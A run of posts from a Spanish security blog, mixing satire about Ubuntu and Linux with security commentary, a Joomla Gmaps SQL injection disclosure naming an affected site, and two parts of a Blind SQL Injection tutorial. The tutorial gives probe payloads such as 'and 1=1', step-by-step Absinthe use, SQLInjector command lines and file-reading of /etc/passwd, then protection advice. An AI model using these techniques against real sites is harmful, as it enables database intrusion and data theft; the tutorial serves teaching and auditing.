Penitencia: 20 San Ububuntu ilumínamos por cada acceso de usuario y 50 por cada acceso como root/admin en texto claro.

c) The servers have not been upgraded past breezy due to problems with the network card and later kernels. This probably allowed the attacker to gain root.

O sea, que al tener problemas con los drivers, no se podía actualizar el hardware y debido a ello, todos los fallos de seguridad de los últimos 9 meses y medio, incluidos los que permitían ejecución remota de código y elevación de privilegios han hecho que “probablemente” el atacante fuera root.

Penitencia: 100 San Ubuntu ilumínanos por NO hacer nada sabiendo que estaban en esta situación y dejar que se llegara a esto.

Esto ha pasado por no usar Ubuntu para los servidores en lugar de Debian y además, por no tomar un soporte anual para el servicio. El coste de esto no es tanto hombre, veamos, os cojo soporte para 8 servidores y para 8 desktops, para que podáis currar sin problemas y sale:


Que en Euros son : 28,250.59 EUR

Tras leer toda la historia, esto no deja de recordarme a lo que pasó el año pasado con Gluck en Debian, así que, en honor a los administradores que no parchean los servidores les digo la frase que más me gusto

“you do an excellent job”

Saludos Malignos!

Chorizo y Morcilla

Tengo que reconocer que la primera vez que lo vi “no me lo podía de creel”, pero sí, es así, cuando me lo envío Penyaskito pensé que era una coña, pero no, es un producto de seguridad de verdad y se llama Chorizo Scanner.

El Chorizo

Su funcionamiento es similar a otros productos que funcionan realizando el spidering mediante profile. Es decir, tu navegas a través del Chorizo (como si fuera un proxy) y él va registrando URLs, parámetros, llamadas GET, llamadas POST, ficheros descubiertos, etc… Cuando tengamos a Chorizo conectado nos sale un menú como el que se ve en la imagen de tal manera que al mismo tiempo se pueden ir realizando las pruebas de seguridad para detectar posibles fallos de XSS, SQL-Injections, Cross-Site-Request-Forging , RFI, Information Disclosure, etc…


Ya la herramienta es curiosa de por sí con ese nombre, pero es que han sacado un componente Server-Side que se instala como un plug-in PHP que se llama Morcilla.

La Morcilla

Este componente se lee el código PHP de tu servidor y comprueba la construcción de las funciones que comúnmente son responsables de estos fallos de seguridad:
Las funciones responsables de SQL Injectios, XSS y usadas en PHP_Shells:

mysql_query, mysql_unbuffered_query, mysql_db_query, mysqli_query, mysqli_prepare, mysqli::query, mysqli::prepare, shell_exec, exec, passthru, system, popen, proc_open, preg_replace, preg_replace_callback, usort, array_walk, uasort, mail, fopen, readfile, file_get_contents,...

Así como las funciones que se usan en Inyecciones de Código y RFI (eval() e include), el uso de variables globales y las comprobaciones de valores, comentarios e información mostrada en el código, etc...


El Chorizo junto con la Morcilla son de pago, pero existe una versión gratuita para un dominio con la que puedes conseguir que tu aplicación sea Chorizo Certified!.

¡Saludos Malignos!

PD: Se espera una versión en catalán llamada Butifarra-Edition.

Disclaimer Agosto 2007

Cuando empecé hace ya dos años a enviar los mails a la lista de amiguetes antes de la creación del blog con los capítulos del informático en el lado del mal yo siempre ponía un disclaimer en la cabecera:

Advertencia 1: [Esto es una chorrada, así que si tienes que currar deja de leerlo]
Advertencia 2: [El lado del mal es poderoso, puedes caer en él]
Advertencia 3: [Todo es mentira, la realidad es mucho más apasionante y divertida]
Advertencia 4: [El protagonista de estas historias me las pasa de forma anonima así que no puedo revelar quién es el que escribe esto]
Advertencia 5: [NO REENVIES ESTO A NADIE QUE NO HAYA VISTO TORRENTE 3 Y/O NO TENGA SENTIDO DEL HUMOR ZAFIO]

La idea original era simular ser un talibán en el lado del mal. Es sencillo coger los mensajes conspiratorios, acusar por acusar, buscar tres pies al gato como se hacía a mansalva en el lado del bien. Yo viví una situación en concreto un par de situaciones de amigos a los que difamaron hasta decir basta llegando a inventarse hasta conversaciones y mails que no existían. Pero…

Con el tiempo me he ido haciendo mayor y han hecho mella en mi cosas como Txipi y su filosofía, Pajarraco de los Santos y su Opera, Romansoft y sus exploit para el kernel, Pedro Laguna aka “profesor cojonciano” con su firefox, Benigno con su pasión, Pablo Catalina con su amor a Linux y su MCSE de Spectra o mucha otra gente que he ido conociendo en las turnetes a lo triunfito por España o en el blog. Con el paso del tiempo he ido cambiando el objeto del blog.

Hoy, tras haber recibido ayer unos comentarios “muy inteligentes” de unos respetados “adoradores de tux” creo que voy a saltarme la evolución y volver un año atrás en el tiempo, para escribir un “What if..” En este caso uno en el que la noticia hubiera sido un año más atrás. Perdón a los fieles.

What if...

Chema.

San Ubuntu iluminador

El Concilio de la Iglesia del Bien, adoradora de TUX, ha decidido crear una nueva festividad de obligado descanso para la devoción de los fieles. Se trata de San Ubuntu Iluminador, pingüino sin par de santidad infinita que cumplió sus tres milagros para subir a los altares celestiales de la congregación del gran señor TUX. Tras comprobar los sacerdotes, siervos del señor, los tres milagros la iglesia por gracia y mano del señor en la tierra ha decidido marcar en el calendario gregoriano (para que no funcione en OOXML el 1900) la fecha del 14 de Agosto como día en el Santoral para este humilde Pingüino.

San Ubuntu Iluminador fue un pingüino viajero que tras emigrar de su norte frio y glaciar llegó al sur surfero y diamantero para establecer su iglesia. Allí, difundió la palabra del gran Tux llegando incluso hasta es espacio en su sagrada misión. Los tres milagros que realizó fueron:

1) Ser el primer Sistema Operativo en el espacio
2) Hacer más listo a los que lo usan nada más instalarlo
3) Hacer descansar a un CPD de alto rendimiento 1 día cada seis meses.

Así que hermanos, seguidores, fieles, religiosos y adoradores, cada 14 de Agosto, San Ubuntu Iluminador será adorado, recordado, reverenciado y difundida su labor con la siguiente Oda:

San Ubuntu Ilumínanos
**************************************

Oh San Ubuntu profeta de los portátiles,
no nos dejes caer fuera de la pista
convierte el pan en dátiles
y que no nos instalen Vista.

San Ubuntu Ilumínanos
San Ubuntu ayúdanos

Oh San Ubuntu profeta espacial
estate con nosotros y ábrenos la mente
viniste desde el norte glacial
para quitar Windows urgentemente

San Ubuntu Ilumínanos
San Ubuntu ayúdanos

Oh San Ubuntu gran señoría
líbranos del jefe arpía
da descanso al que te quería
y, por favor, tira el CPD otro día.

San Ubuntu Ilumínanos
San Ubuntu ayúdanos

¡Saludos Malignos! ... y échale un ojo antes de poner un comentario al Disclaimer.

Spectra Web Wars

Tras la revisión de la caída del sitio Cisco.com por un "fallo de la luz", me acordé de las estadísticas que salieron sobre los sitios de los fabricantes de los principales sistemas operativos sobre caidas de servicio. Estas estadísticas se sacaron mirando los tiempos de caída que tuvieron durante los dos primeros meses del año. Hoy he ido a revisar los datos y he obtenido la siguiente tabla de resultados [desde el 1/01/2007 hasta el 12/08/2007]

www.ubuntu.com 1 día 4h 53 min
www.sun.com15h 26 min
www.redhat.com4 h 18 min
www.freebsd.org 1h 56 min
www.apple.com 1 h 3 min
www.microsoft.com 17 min

Estos datos son de tiempo sin responder el servicio web del sitio y esto puede estar debido a multiples cuestiones, pero que al final revierten en una sola. Fallo en la planificación del CPD (líneas de comunicaciones, plan de mantenimiento, sistemas de respaldo, etc..). Así se puede ver que Ubuntu y Redhat, ambas con soluciones Apache tienen caídas distintas a pesar de necesitar un mantenimiento del software similar. Si miras las caídas por meses llama poderosamente la atención como el sitio de Ubuntu registro una caída de servicio de 18 horas y 45 minutos en el mes de abril y otra de 5 horas y 48 min en el mes Marzo, lo que le ha llevado a estar más de 1 día fuera de servicio. FreeBSD tuvo una caída de 1h y 56 minutos en el mes de Enero y desde entonces no acumula ningún fallo en el servicio más, mientras que a Sun, parece que no le ha ido muy bien tampoco.

Spectra en este periodo ha cambiado el software de Microsoft.com haciendo que funcione con IIS7 y Windows Server 2008 desde el mes de Junio ha acumulado un total de 17 minutos sin dar servicio.

Parece que los días de decir que IIS no era bueno para dar soporte a grandes CPDs y servicios se han quedado atrás. En las estadísticas de la Fortune1000, IIS estaba el año pasado claramente por encima de sus competidores.


Además, en el informe mensual sobre servidores Web de Netcraft referente a Julio de 2007 IIS ha vuelto a recortar la distancia con Apache, quedándose en 12.21 puntos en los sitios activos.


Parece que Spectra se puso las pilas con la web y está cogiendo cuota activamente.

¡Qué de miedo!¡Saludos malignos!

¿He sido yo?

En esa etapa de mi vida dónde Oracle era gran parte de mi trabajo cotidiano me sucedió una anécdota que he contado muchas veces para explicar la importancia de la protección de los CPDs. En este caso el problema era que todos los días, alrededor de la mañana, un servidor SUN con Oracle nos tiraba las conexiones de red de todos los servicios ¿cuál era el problema? Tras no encontrar nada, un día, antes de la hora me fui con un par de compañeros a monitorizar el servidor. Cuando esta allí, armado con mi top en una ventana y con el profile en la otra la respuesta salió a la luz. Entró, blandiendo una pulidora industrial para dejar bien limpio y reluciente el suelo de la sala, la señora de la limpieza y la enchufó a la SAI del servidor provocando un baile de lucecitas en la SAI y un horroroso parpadeo en el servidor. No lo tiraba abajo, creo que el término más correcto, para que nos entendamos, sería que lo “zarandeaba”.

¿Y por qué me he acordado de esto? Pues sucedió algo el miércoles tarde, la web de Cisco completa estuvo 3 horitas … y cuatro minutos sin dar servicio, como se puede ver en el gráfico de Pingdom sobre la web de CISCO. Dejaron de dar servicios a clientes y partners durante todo ese tiempo.

Imagen: Grafico de Cisco.com en Pingdom
La explicación que han dado a través del blog ha sido:

“We have traced the cause of the issue to an accident during maintenance of a San Jose data center that resulted in a power outage in that facility. We would like to thank our customers and partners for their patience. We expect to resolve the issue shortly”

Vaya, parece que tuvieron un problemita durante el mantenimiento y se les fue la luz. Supongo que al irse la luz también fallaron los sistemas de alimentación ininterrumpida, los sistemas redundantes del CPD, los planes de contingencia, los generadores de emergencia, etc…Lo curioso, es que el problema en San José sólo les afectó a ellos. Menos mal que llegaron a tiempo para publicar los nuevos expedientes de seguridad.

Esto suena cómo que han debido contratar a Steve Urkel como nuevo jefe de mantenimiento o a lo mejor estaba de visita con Carl o con Laura o con Eddie Winslow paseando por allí después de tomar un helado en el burger de su tia. ¿Quién sabe?

¡Saludos Malignos!

Lecturas veraniegas

Ya terminaron las conferencias de Black Hat de este año, y como siempre, me he pasado a ver si estaban los documentos (diapositivas, white papers y/o pruebas de concepto) de las última edición, pero no era así :(.

Mientras que se publican las nuevas, he ido a repasar los documentos publicadas de las anteriores, que sí estaban publicados. De estas conferencias normalmente llegan al gran público aquellas que tienen un impacto más mediatico, pero siempre se queda alguna charla con alguna cosa curiosa.

Tras leer los títulos he seleccionado unas 15 (se leen rápido, que son ppts) y al final varias de ellas me han enseñado cosas chulas, así que os las voy a recomendar, para que no perdáis "la forma" este verano.

Speakers - Black Hat Europe 2007

Nish Bhalla - Web Service Vulnerabilities: [PPT] [White Paper] [POC]

Este documento toca cosas como el descubrimiento y la enumeración (muy divertido si lo pruebas con Google), XML Injection y XPath Injection.

Cesar Cerrudo & E. Martinez Fayo
- Hacking DB for Owning Your Data: [PPT] [White Paper] [POC]

Cerrudo es uno de los clásicos en la historia de las vulnerabilidades de bases de datos, en este doc hace un recorrido rápido sobre los principales ataques a Oracle y SQL Server. Muy util si quieres jugar con ellos.

Nitin Kumar & Vipin Kumar -
Vboot Kit: Compromising Windows Vista Security: [PPT] [White Paper] [POC]

Muy interesante, como hacerse un rootkit en Vista aprovechando los sectores de arranque. Es para la RC1, pero es interesante el trabajo.

Jonathan Wilkins
ScarabMon - Automating Web Application Penetration Tests: [PPT] [White Paper] [POC]

Herramientas y ejemplos para auditar Webs.

Joel Eriksson - Kernel Wars: [PPT] [White Paper] [POC]

Explica con detalle como realizar tres exploits:

1.- FreeBSD 802.11 Remote Integer Overflow
2.- NetBSD mbuf Overflow
3.- Windows Local GDI Kernel Memory Overwrite

Speakers - Black Hat DC 2007

Cesar Cerrudo -
Practical 10 Minute Security Audit: The Oracle Case: [PPT] [White Paper] [POC]

Lo hace con Oracle sobre Windows con las herramientas de Wininternals y jugando con los permisos de los objetos del sistema. 10 minutos, con step by step. Muy buena.


El número de presentaciones que se han dado en BlackHat ya son más de 100 así que hay para entretenerse mucho. Tienes la lista de todas las que se han hecho públicas en todas las conferencias en la siguiente URL: BlackHat Media Archives [...y también las que se pondrán...]

Qué pases un buen finde!

¡Qué de peña!, ¿no?

Aunque parezca mentira saber el número de Windows instalados es una tarea compleja, y más aún cuando nos preocupamos de otros productos como servidores de bases de datos, sistemas de gestión, o servidores de correo electrónico. Esto es así en Spectra debido a las licencias por volumen, y como no, al alto número de emule versions. Para las compañías que venden licencias siempre es un problema decidirse entre la seguridad y la flexibilidad por lo que los sistemas de registro tienen un límite de control, a partir del cual, nacen las formas de saltárselo. Ya el sistema de Windows Vista está saltado hace tiempo. Aún así se hacen estimaciones, por ejemplo, se estiman, a ojo de buen cubero, aproximadamente 400 millones de usuarios Office.

Este mismo problema sucede, como no, con las implantaciones en el lado del bien, dónde, al no haber control ni registro se hace aún más complejo conocer el número de gente que usa Linux. Para ello se hacen cálculos y cálculos buscando todas las referencias posibles. Se miran las estadísticas de Netcraft, los números de RedHat, las estimaciones de las consultoras, etc… Tras mirar todos esos datos se estiman actualmente 29.000.000 de usuarios Linux.

Con las nuevas ventas de portátiles con Linux de compañías como DELL o ACER se va a tener otro dato más para poder estimar a los usuarios Linux. Sin embargo, existen también estimaciones de gente que compra equipos con Linux para luego instalar una versión ya comprada de Windows o simplemente el Windows Vista Emule Edition, que también tiene una amplia cuota de mercado.

Yo creo que soy un usuario Windows, pero tengo unos Linux en máquinas virtuales para hacer mis pruebas con Apaches, perls, Oracles sobre Linux, y alguna que otra tool… ¿Debo registrarme? Creo que lo voy a hacer pues me da mucha pena que se estimen veintinueve millones de usuarios y sin embargo solo hayan encontrado cientro treinta y siete mil treinta y siete usuarios. ¡Ale!, apúntate, y a ver si de aquí a un año encontramos a los veintiocho millones ochocientos sesenta y dos mil novecientos sesenta y tres usuarios restantes.

Linux Counter

No me salen las cuentas, pero ya tengo mi numerito, soy el Linux Registered User número #451685.

Web 3.11 para trabajo en Grupo.New Wave of Bloggers.

La Web 2.0 está muerta, hay que dejar paso a la nueva ola, a la nueva generación en una web que necesita un cambio. La Web 3.11 para trabajo en Grupo, dónde se retirarán los feos servidores de hoy en día por Ipod Servers, los routers, toscos y ruidosos se sustituirán por iPhones o consolas Wii y los centros de computación serán clusters de furbys. ¡Hay que cambiar ya!, que los males de la web 2.0 se han dejado ver todas partes, a saber:

1) La endogamia.
2) El teléfono estropeado
3) El control de los canales de información
4) Los técnicoless

Así que hace falta una reforma ya y con ella una nueva generación de bloggers. Está disponible desde hace no mucho tiempo MyCatSpace, un nuevo lugar de encuentro para los nuevos Gatos Bloggers, allí, dónde se esperan los sitios de votación de noticias (ronroneame.net), los blogs de agregación gatopolítica (gatopunto.com) o los técnicoless (whiskastopolis.com) o el archi pastoso gato de angora con su blog de “investigación” sobre el pachuli (queascodas.com).

De momento, una esta nueva generación, con espíritu innovador y colaboracionista ofrece sus famosos “how to…”. Entre ellos han sido un bombazo en gatorati.com y del.ici.as los ya famosos “whiskas in a nutshell” o “how to …engañar a tu amo para que te de más comida”. Otros como “how to … tener sueño después de haber dormido” o “how to…tener hambre después de haber comido” han sido los más comentados en la gatosphera.

Ábrele un blog a tu gato. Seguro que tiene cosas más interesantes que decir que algunas de las que se leen en la Web 2.0. Vamos con la Web 3.11 para trabajo en Grupo.


Miau!

La Fiesta del SQL Injection y la Velocidad de Reacción

El día 31 de Julio, justo a punto de comenzar el tan ajetreado mes de Agosto veraniego se hizo público un bonito exploit para Joomla como Gmaps. El exploit es de esos que los equipos profesionales de desarrollo "no suelen cometer", es decir, un SQL Injection como la copa de un pino, en este caso, acceder al hash de la contraseña del administrador.


El expediente y el exploit se publicaron a través de todo Internet en todas las bases de datos de seguridad como en:

SecurityFocus: http://www.securityfocus.com/bid/25146/
Milw0rm: http://milw0rm.com/exploits/4248

Al día siguiente, la web del componente sacaba este aviso, con la versión 1.1 disponible:


Como es de suponer, gestionar la seguridad no es solo poner un banner en la web y echar la culpa a los que no se mantienen seguros. (Eso ya lo hizo Spectra hace años y no funcionó). Así que, cosas, tan flagrantes, están pasando. Por ejemplo, hoy, a día 8 de Agosto, en el expediente de securityfocus, en la parte de solución pone:


¿Dónde acaba la responsabilidad del proyecto? ¿Dónde empieza la del administrador? La verdad es que un buen administrador tiene que conocer dónde se publican TODAS las actualizaciones de seguridad de TODO su software y tener un plan de actulizaciones creado. Servicios como SANA de Hispasec u otros similares ayudan a centralizar estos problemas.

Ayer, un amigo "anónimo", me envió esta capturita de una web con Joomla, curiosamente la de El Libro Blanco del Software Libre, que tiene este componente vulnerable.


Y buscando ese hash me he econtrado que, ya está en listas de crack MD5 online. Ya sabéis, esas que tienen alta potencia de cálculo para problemas complejos.


Repito las preguntas, ¿Hasta dónde es responsabilidad del proyecto? ¿Cuando empiezan las obligaciones del administrador? ¿Cuanto sube la gestión y el tiempo de trabajo de un administrador en entornos como estos?

Y las preguntas del millón. Joder, esto es Software Libre, lleva el código fuente abierto (es un PHP!!!!) ¿No se lo leen los miles de usuarios de Gmaps? ¿Y los especialistas de seguridad que están para securizar y ayudar a la comunidad?

Saludos Malignos!

Protección contra las técnicas de Blind SQL Injection (IV de IV)

***************************************************************************************
Protección contra las técnicas de Blind SQL Injection (I de IV)
Protección contra las técnicas de Blind SQL Injection (II de IV)
Protección contra las técnicas de Blind SQL Injection (III de IV)
Protección contra las técnicas de Blind SQL Injection (IV de IV)
***************************************************************************************

Un ejemplo con Absinthe

Hablamos de esta herramienta el mes pasado, pero hoy vamos a hacer un ejemplo completo real. Para ello hemos buscado una url “controlada” en la que teníamos un parámetro id que recibía un valor numérico en este caso.

http://www.miwebserver.com/miprograma.asp?id=370

Hemos realizado una sencilla prueba de inyección con:

http://www.miwebserver.com/miprograma.asp?id=370 and 1=1
http://www.miwebserver.com/miprograma.asp?id=370 and 1=0

Con la primera inyección (and 1=1) hemos obtenido la misma página que sin inyección y con la segunda inyección (and 1=0) hemos obtenido una página diferente, con otros resultados. Suponemos, o sabemos, que es SQL Server, pero como las alternativas son pocas (MS SQL Server, Oracle, DB2, MySQL, etc…) podríamos incluso ir probando diferentes motores. Configuramos absinthe:

Paso 1:Configuración de la inyección a ciegas:

- Seleccionamos el motor de bases de datos. En este caso Microsoft SQL Server porque lo sé, pero si desconozco la versión puedo chequear el checkbutton de “Verify SQL Server Version”.
- En target URL ponemos la llamada al programa sin poner los parámetros, en este caso: www.miwebserver.com/miprograma.asp
- En el envío de parámetros seleccionamos por GET.
- En la parte de parámetros creamos un parámetro ID con valor por defecto 370 en el que marcaremos que es inyectable.
- Realizamos una prueba con Initialize Injection.

Imagen: Paso 1
Paso 2: Una vez configurado esto, la herramienta ya funciona sola, pasando a la pestaña de “DB Schema” podremos, en primer lugar averiguar el usuario, en segundo lugar, si el usuario tiene acceso al diccionario de datos, descubrir la estructura de tablas de la base de datos y por último consultando también al diccionario, descubrir los campos y tipos de datos de cada una de las columnas de las tablas. Una carencia de esta herramienta es la no posibilidad de descubrir los objetos por fuerza bruta, pero es perfecta en los entornos en los que el usuario tiene acceso al diccionario de datos. En la imagen se puede ver el usuario descubierto y las tablas que están siendo descubiertas.

Paso 2: Descubrimiento de usuario y tablas de la aplicación.

Para realizar este descubrimiento la aplicación va a generar por debajo un gran número de peticiones que funcionan como hemos explicado en el capítulo del mes pasado. En la siguiente imagen se puede ver una porción de las llamadas para descubrir los campos de las tablas.

Imagen: Petición para descubrir los nombres de los campos.
Como se puede apreciar en las peticiones, al parámetro vulnerable se le une con un AND una petición en la que se intenta ver si un determinado carácter es igual a un determinado valor ASCII. Como se ve se está consultando a syscolumns y se utilizan valores UNICODE para evitar el filtrado de comas o comillas.

Paso 3: Extracción de datos de tablas. Una vez descubierta la estructura completa de la base de datos el último paso a realizar es descargar la lista de datos de los campos, para ello, con seleccionar la tercera pestaña accederemos a la lista de los campos descubiertos y podremos descargarlos a un fichero XML.

Imagen 3: Extracción de datos.
Otras herramientas

El número de herramientas que realizan descubrimiento y explotación de vulnerabilidades Blind SQL Injection crece día a día, pero no me gustaría terminar el artículo sin citar algunas otras:

SQL Ninja, escrita en Perl y que realiza inyección basada en tiempos para motores Microsoft SQL Server (tienes la herramienta en la siguiente URL: http://sqlninja.sourceforge.net/ y más información en: Blind SQL Injection (III). SQL Ninja

SQLiBF

Herramienta publicada en el año 2006, desarrollada por DarkRaven, un consultor de seguridad afincado en Murcia, está pensada y adaptada para bases de datos genéricas, pero también para bases de datos específicas en las que realiza comprobaciones de inyección de comportamiento cero. A diferencia de otras realiza tests de comprobación para saber si un parámetro es vulnerable basados en número de líneas, número de palabras o palabra clave:

La herramienta tiene como curiosidad también la búsqueda de terminadores de expresiones con paréntesis para poder completar las inyecciones correctamente. La herramienta es Software Libre y está disponible en la siguiente URL:
http://www.open-labs.org

SQLiBF descubriendo por Blind SQL Injection el usuario de la aplicación
WebInspect

Esta herramienta se comercializa por la empresa SPI Dynamics desde el año 2005 y está mantenida bajo los estudios de Kevin Spett. Al ser una herramienta comercial no se dispone del código y solo se conoce su funcionamiento en base a las especificaciones del producto y a como es descrita en el documento “Blind SQL Injection. Are you web applications vulnerable?”. Funciona utilizando comprobaciones de error basadas en firmas, pero no se sabe si la aplicación utiliza la automatización basada en palabras clave. Lo que no aparece descrito en ningún apartado de las características es la utilización de automatismos basados en tiempo. Esta herramienta es una herramienta de carácter general en cuanto a seguridad de aplicaciones y está pensada para buscar todo tipo de vulnerabilidades. La información de la herramienta está disponible en la siguiente URL: WebInspect

Acunetix Web Vulnerability Scanner

Acunnetix es una herramienta de la que ya hablamos hace dos meses como una buena alternativa para la auditoría de aplicaciones web de forma automática. En la versión 4 de la herramienta se añadieron módulos para la detección de vulnerabilidades Blind SQL Injection y Blind XPath Injection (de estas últimas podríamos hablar algún día por esta sección). Esta herramienta una muy buena alternativa para realizar la comprobación de la seguridad de tu aplicación web, incluso para vulnerabilidades a ciegas.

Configuración módulo Blind SQL Injection/Blind XPath Injection para Acunetix Web Vulnerability Scanner 4

Protección contra Blind SQL Injection

Las protecciones para SQL Injection son las mismas que contra SQL Injection. Fácil ¿no? Como hacerlo, pues comprobando absolutamente todo. Hoy en día, en todos los documentos técnicos en los que se evalúa el desarrollo de aplicaciones seguras está disponible un amplio estudio sobre como desarrollar protegiendo los programas contra la inyección de código.

Michael Howard, uno de los padres del modelo SDL (Secure Development Lifecycle) utilizado por Microsoft en el desarrollo de sus últimas tecnologías y escritor del libro Writting Secure Code (2nd edition) dedica todo un tema a evitar la inyección de código y lo titula de forma muy personal:

“All Input Is Evil! Until proven otherwise”
Además, casi todos los fabricantes o responsables de lenguajes de programación de aplicaciones Web ofrecen “Mejores Prácticas” para el desarrollo seguro dando recomendaciones claras y concisas para evitar la inyección de código. Así que a comprobar todo.

Toda consulta que se vaya a lanzar contra la base de datos y cuyos parámetros vengan desde el usuario, no importa si en principio van a ser modificados o no por el usuario deben ser comprobados y realizar funciones de tratamiento para todos los casos posibles. Hay que prever que todos los parámetros pueden ser modificados y traer valores maliciosos. Se recomienda utilizar códigos que ejecuten consultas ya precompiladas para evitar que interactúe con los parámetros de los usuarios.

Así mismo, como se ha visto los atacantes intentan realizar ingeniera inversa y extraer información de las aplicaciones en base a los mensajes o tratamientos de error. Es importante que se controlen absolutamente todas las posibilidades que puedan generar error en cualquier procedimiento por parte del programador. Para cada acción de error se debe realizar un tratamiento seguro del mismo y evitar dar ninguna información útil a un posible atacante.

Es recomendable que los errores, tanto los errores de aplicación como los de servidor, se auditen pues puede representar un fallo en el funcionamiento normal del programa o un intento de ataque. Se puede afirmar que casi el 100 % de los atacantes a un sistema van a generar algún error en la aplicación.

Despedida

Este ha sido sido el último artículo sobre la serie de Blind SQL Injection. Seguiremos tocando este tema en otras ocasiones, pero por ahora toca pasar a otros temas nuevos....

Protección contra las técnicas de Blind SQL Injection (III de IV)

***************************************************************************************
Protección contra las técnicas de Blind SQL Injection (I de IV)
Protección contra las técnicas de Blind SQL Injection (II de IV)
Protección contra las técnicas de Blind SQL Injection (III de IV)
Protección contra las técnicas de Blind SQL Injection (IV de IV)
***************************************************************************************
En el artículo del mes pasado se explicó como mediante técnicas a ciegas es posible sacar información de una base de datos sin llegar a ver los resultados de las consultas. En el presente mes vamos a ver una serie de herramientas que podéis utilizar para analizar y para probar la seguridad de vuestras bases de datos. Muchas de ellas son gratuitas y de libre por lo que va a ser fácil que las probéis en vuestras aplicaciones.

SQLInjector

La primera herramienta que hay que conocer es ésta. A raíz de los estudios de David Litchfield y Chrish Anley, ambos de la empresa NGS Software, desarrollaron la herramienta SQLInjector. Esta herramienta utiliza como forma de automatización la búsqueda de palabras clave en los resultados positivos. Es decir, se busca encontrar una palabra que aparezca en los resultados positivos y que no aparezca en los resultados negativos.

Recordad que el objetivo de las técnicas de Blind SQL Injection es conseguir inyectar lógica binaria con consultas del tipo “y existe esta tabla” o “y el valor ASCII de la cuarta letra del nombre del administrador es menor que 100”. Siempre se busca realizar consultas que devuelvan verdad o mentira con lo que la aplicación al procesarlo devolvería la página original (que llamamos de verdad o cierta) o la página cambiada (que llamamos de mentira o falsa). Pero si no te acuerdas, te recomiendo releer el artículo del mes pasado dónde se explica en detenimiento.

Para probar si el parámetro es susceptible a Blind SQL Injection utiliza un sistema basado en inyecciones de código de cambio de comportamiento cero sumando y restando el mismo valor. Es decir, si tenemos un parámetro vulnerable que recibe el valor 100, el programa ejecuta la petición con 100 + valor – valor. Si el resultado es el mismo entonces el parámetro es susceptible a ataques de SQL Injection.

Como utiliza búsqueda de palabra clave en resultados positivos hay que ofrecerle la palabra clave manualmente, es decir hay que lanzar la consulta normal y ver que palabras devuelve el código HTML. Después tenemos que lanzar una consulta con algo que haga que sea falso, por ejemplo con AND 1=0 y ver que palabras aparecen en los resultados de Verdad y no aparecen en los falsos (con seleccionar una palabra valdría). El código fuente de esta aplicación está escrito en Lenguaje C, es público y se puede descargar de la web:

SQL Injector

Para ejecutarse se hace con un comando como el siguiente:

C:\>sqlinjector -t www.ejemplo.com -p 80 -f request.txt -a query -o where -qf query.txt -gc 200 -ec 200 -k 152 -gt Science -s mssql

Donde:

- t : Es el servidor
- p : Es el puerto
- f : La aplicación vulnerable y el parámetro. En un fichero de texto.
- a : La acción a realizar
- o : fichero de salida
- qf : La consulta a ejecutar a ciegas. En un fichero de texto.
- gc : Código devuelto por el servidor cuando es un valor correcto
- ec : Código devuelto pro el servidor cuando se produce un error
- k : Valor de referencia correcto en el parámetro vulnerable
- gt : Palabra clave en resultado positivo
- s : Tipo de base de datos. La herramienta está preparada para MySQL, Oracle, Microsoft SQL Server, Informix, IBM DB2, Sybase y Access.

Ejemplo de fichero request.txt

GET /news.asp?ID=#!# HTTP/1.1
Host: www.ejemplo.com

Ejemplo de query.txt

select @@version

La aplicación anterior hay que nombrarla obligatoriamente cuando se habla de técnicas de Blind SQL Injection, pero hoy en día existen otras muchas alternativas. Una especialmente pensada para motores de MySQL es SQLbftools.

SQLbftools

Publicadas por “illo” en reversing.org en diciembre de 2005. Son un conjunto de herramientas escritas en lenguaje C destinadas a los ataques a ciegas en motores de bases de datos MySQL basadas en el sistema utilizado en SQLInjector de NGS Software. El autor ha abandonado la herramienta y a día de hoy es mantenida por la web http://www.unsec.net por “dab”.

Esta compuesta de tres aplicaciones:

- mysqlbf: Es la herramienta principal para la automatización de la técnica de BlindSQL. Para poder ejecutarla se debe contar con un servidor vulnerable en el que el parámetro esté al final de la url y la expresión no sea compleja.

Soporta códigos MySQL:
o version()
o user()
o now()
o sytem_user()
o ….

Su funcionamiento se realiza mediante el siguiente comando:

Mysqlbf “host” “comando” “palabraclave”

Donde:

o host es la URL con el servidor, el programa y el parámetro vulnerable.
o Comando es un comando a ejecutar de MySQL.
o Palabraclave es el valor que solo se encuentra en la página de resultado positivo.

En la siguiente imagen vemos como lanzamos la aplicación contra una base de datos vulnerable y podemos extraer el usuario de la conexión.

Imagen: Extracción user()
Como se puede ver el programa ha necesitado 230 peticiones para sacar 18 bytes. En la siguiente imagen se ve como extraer la versión de la base de datos:

Imagen: Extracción version()

- mysqlget: Es la herramienta pensada para descargar ficheros del servidor. Aprovechando las funciones a ciegas y los comandos del motor de base de datos se puede ir leyendo letra a letra cualquier fichero del servidor.

En la siguiente imagen se ve como se puede descargar el fichero /etc/password a partir de una vulnerabilidad Blind SQL Injection usando mysqlget:

Imagen: Extracción version()
- mysqlst: Esta herramienta se utiliza para volcar los datos de una tabla. Primero se consulta al diccionario de datos para extraer el número de campos, los nombres, los tipos de datos de cada campo y por último el volcado de las filas.

Tienes más info en Blind SQL Injection en MySQL

Bfsql

Evolución de SQLBfTools, cuando “illo” abandonó las herramientas SQLbfTools A. Ramos, actualmente trabajando en la empresa Española SIA, la migró al lenguaje Perl en poco más de 500 líneas. La herramienta sigue utilizando el sistema de palabra clave en valores positivos. La herramienta no pide la intervención del usuario para averiguar cual es la palabra clave, sino que realiza peticiones con inyecciones de cambio de comportamiento cero e inyecciones de cambio de comportamiento positivo. Recibe las respuestas, un archivo de respuesta para el valor correcto y otro archivo para el valor incorrecto y las compara línea a línea buscando la primera diferencia. A partir de ese momento realiza peticiones y mira a ver a que valor corresponde.

La herramienta es de código abierto y la última versión, de Julio de 2006, está disponible para todo el mundo en la siguiente URL: http://www.514.es

SQL PowerInjector

Esta herramienta está escrita en .NET por Francois Larouche y ha sido liberada en el año 2006. SQL PowerInjector utiliza técnicas de SQL Injection tradicionales basadas en mensajes de error y técnicas de Blind SQL Injection usando dos sistemas. Comparación de resultados completos, equivalente a realizar un HASH MD5 de la página de resultados o bien, para los motores de Microsoft SQL Server, y sólo para esos motores, también se puede realizar utilizando el sistema basado en tiempos con WAIT FOR (o time delay) descrito por Chrish Anley en “(more) Advanced SQL Injection”. Para los motores de Oracle utiliza también, desde Mayo de 2007 inyección basada en tiempos llamando a los procedimientos almacenados de Oracle DBMS_LOCK y utilizando las funciones de Benchmark para generar retados en MySQL. La herramienta no ayuda a buscar parámetros vulnerables y se maneja mediante un trabajado interfaz gráfico.

Imagen: Extracción SQL PowerInjector
La herramienta está adaptada a MS SQL Server, Oracle, MySQL y Sybase, es de código abierto y está disponible para descarga en la siguiente URL: http://www.sqlpowerinjector.com

Un AD para gobernarlos a todos

